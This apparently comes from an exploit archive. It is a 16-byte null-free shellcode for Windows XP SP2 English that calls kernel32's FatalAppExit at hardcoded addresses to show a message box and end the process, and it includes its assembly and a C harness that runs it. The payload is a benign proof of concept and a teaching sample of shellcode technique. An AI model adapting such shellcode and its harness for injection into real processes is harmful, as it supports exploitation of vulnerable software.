+-----------------------------------------------------+
| Windows XP Pro Sp2 English "Message-Box" Shellcode. |
+-----------------------------------------------------+
Size : 16 Bytes, Null-Free.
Author : Aodrulez.
Email : f3arm3d3ar@gmail.com
Shellcode = "\xB9\x78\x68\x82\x7C\x33\xC0\xBB"
"\xF8\x0C\x86\x7C\x51\x50\xFF\xD3"
+--------------+
| Description: |
+--------------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I've used a Function called "FatalAppExit".
The Benefits are Three-Fold!
1] Displays a MessageBox.
2] Terminates the Process.
3] Its there in Kernel32.dll itself.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------+
| Asm Code: |
+-----------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode:
mov ecx,7c826878h ;"Admin" string in mem
xor eax,eax
mov ebx,7c860cf8h ;Addr of "FatalAppExit()"
push ecx ;function from Kernel32
push eax
call ebx ;App does a Clean Exit.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------+
| Shellcodetest.c |
+-----------------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
char code[] = "\xB9\x78\x68\x82\x7C\x33\xC0\xBB"
"\xF8\x0C\x86\x7C\x51\x50\xFF\xD3";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-------------------+
| Greetz Fly Out To |
+-------------------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1] Amforked() : My Mentor.
2] The Blue Genius : My Boss.
3] www.orchidseven.com
4] str0ke
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+---------------------------------------------+
| Forgive, O Lord, My Little Jokes on Thee, |
| and I'll Forgive Thy Great Big Joke on Me. |
+---------------------------------------------+
